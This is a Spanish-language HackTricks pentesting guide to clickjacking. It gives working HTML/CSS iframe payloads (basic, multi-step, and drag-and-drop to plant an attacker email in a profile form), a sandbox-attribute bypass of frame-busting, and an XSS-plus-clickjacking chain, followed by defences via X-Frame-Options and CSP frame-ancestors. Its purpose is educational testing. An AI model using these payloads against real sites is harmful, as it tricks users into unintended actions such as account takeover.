hacktricks/pentesting-web/clickjacking.md

191 lines
13 KiB
Markdown
Raw Normal View History

2023-06-05 18:33:24 +00:00
# Clickjacking
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Usa [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\
Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## ¿Qué es Clickjacking?
Clickjacking es un ataque que **engaña** a un **usuario** para que **haga clic** en un **elemento** de una página web que está **invisible** o disfrazado como otro elemento. Esto puede hacer que los usuarios descarguen malware sin saberlo, visiten páginas web maliciosas, proporcionen credenciales o información confidencial, transfieran dinero o compren productos en línea. (De [aquí](https://www.imperva.com/learn/application-security/clickjacking/)).
### Truco de prellenado de formularios
A veces es posible **rellenar el valor de los campos de un formulario usando parámetros GET al cargar una página**. Un atacante puede abusar de este comportamiento para rellenar un formulario con datos arbitrarios y enviar la carga de clickjacking para que el usuario presione el botón Enviar.
### Rellenar un formulario con Drag\&Drop
Si necesitas que el usuario **rellene un formulario** pero no quieres pedirle directamente que escriba información específica (como el correo electrónico o una contraseña específica que conoces), puedes pedirle que **arrastrar y soltar** algo que escribirá tus datos controlados como en [**este ejemplo**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Payload básico
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### Carga útil de múltiples pasos
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Carga útil de arrastrar y soltar + clic
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking
Si has identificado un ataque **XSS que requiere que un usuario haga clic** en algún elemento para **activar** el XSS y la página es **vulnerable a clickjacking**, podrías abusar de ello para engañar al usuario y hacer que haga clic en el botón/enlace.\
Ejemplo:\
_Has encontrado un **auto XSS** en algunos detalles privados de la cuenta (detalles que **solo tú puedes establecer y leer**). La página con el **formulario** para establecer estos detalles es **vulnerable** a **Clickjacking** y puedes **prellenar** el **formulario** con los parámetros GET._\
\_\_Un atacante podría preparar un ataque de **Clickjacking** a esa página **prellenando** el **formulario** con el **payload XSS** y **engañando** al **usuario** para que **envíe** el formulario. Así, **cuando se envía el formulario** y se modifican los valores, el **usuario ejecutará el XSS**.
## Cómo evitar el Clickjacking
### Defensas del lado del cliente
Es posible ejecutar scripts en el lado del cliente que realicen algunos o todos los siguientes comportamientos para prevenir el Clickjacking:
* comprobar y hacer cumplir que la ventana de la aplicación actual es la ventana principal o superior,
* hacer que todos los marcos sean visibles,
* evitar hacer clic en marcos invisibles,
* interceptar y marcar posibles ataques de clickjacking en un usuario.
#### Bypass
Como los rompe marcos son JavaScript, la configuración de seguridad del navegador puede impedir su funcionamiento o incluso el navegador podría no admitir JavaScript. Una solución efectiva para el atacante contra los rompe marcos es usar el **atributo HTML5 iframe `sandbox`**. Cuando se establece con los valores `allow-forms` o `allow-scripts` y se omite el valor `allow-top-navigation`, el script del rompe marcos puede ser neutralizado ya que el iframe no puede comprobar si es o no la ventana superior:
```markup
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
Tanto los valores `allow-forms` como `allow-scripts` permiten las acciones especificadas dentro del iframe, pero la navegación de nivel superior está deshabilitada. Esto inhibe los comportamientos de frame busting mientras permite la funcionalidad dentro del sitio objetivo.
Dependiendo del tipo de ataque de Clickjacking realizado, **también puede ser necesario permitir**: `allow-same-origin` y `allow-modals` o [incluso más](https://www.w3schools.com/tags/att\_iframe\_sandbox.asp). Al preparar el ataque, simplemente revise la consola del navegador, ya que puede indicarle qué otros comportamientos debe permitir.
### X-Frame-Options
El encabezado de respuesta HTTP **`X-Frame-Options`** se puede utilizar para indicar si un navegador debe o no **permitir** que se represente una página en un `<frame>` o `<iframe>`. Los sitios pueden usar esto para evitar ataques de Clickjacking, asegurando que **su contenido no se incruste en otros sitios**. Establezca el encabezado **`X-Frame-Options`** para todas las respuestas que contengan contenido HTML. Los posibles valores son:
* `X-Frame-Options: deny` que **impide que cualquier dominio enmarque el contenido** (_valor recomendado_).
* `X-Frame-Options: sameorigin` que solo **permite que el sitio actual** enmarque el contenido.
* `X-Frame-Options: allow-from https://trusted.com` que **permite que el 'uri' especificado** enmarque esta página.
* Verifique las limitaciones a continuación porque **esto fallará si el navegador no lo admite**.
* Otros navegadores admiten la nueva directiva **CSP frame-ancestors en su lugar**. Algunos admiten ambos.
### Directiva de ancestros de marco de la Política de seguridad de contenido (CSP)
La **protección recomendada contra Clickjacking** es incorporar la directiva **`frame-ancestors`** en la Política de seguridad de contenido de la aplicación.\
La directiva **`frame-ancestors 'none'`** es similar en comportamiento a la directiva **X-Frame-Options `deny`** (_Nadie puede enmarcar la página_).\
La directiva **`frame-ancestors 'self'`** es ampliamente equivalente a la directiva **X-Frame-Options `sameorigin`** (_solo el sitio actual puede enmarcarlo_).\
La directiva **`frame-ancestors trusted.com`** es ampliamente equivalente a la directiva **X-Frame-Options** `allow-from` (_solo el sitio de confianza puede enmarcarlo_).
La siguiente lista blanca de CSP enmarca los marcos solo en el mismo dominio:
`Content-Security-Policy: frame-ancestors 'self';`
Consulte la siguiente documentación para obtener más detalles y ejemplos más complejos:
* [https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)
### Limitaciones <a href="#limitations" id="limitations"></a>
* **Compatibilidad del navegador:** Los ancestros de marco de CSP no son compatibles con todos los principales navegadores todavía.
* **X-Frame-Options tiene prioridad:** [Sección "Relación con X-Frame-Options" de la especificación CSP](https://w3c.github.io/webappsec/specs/content-security-policy/#frame-ancestors-and-frame-options) dice: "_Si un recurso se entrega con una política que incluye una directiva llamada frame-ancestors y cuya disposición es "imponer", entonces el encabezado X-Frame-Options DEBE ser ignorado_", pero Chrome 40 y Firefox 35 ignoran la directiva frame-ancestors y siguen el encabezado X-Frame-Options en su lugar.
## Referencias
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas de la comunidad más avanzadas del mundo.\
Obtenga acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>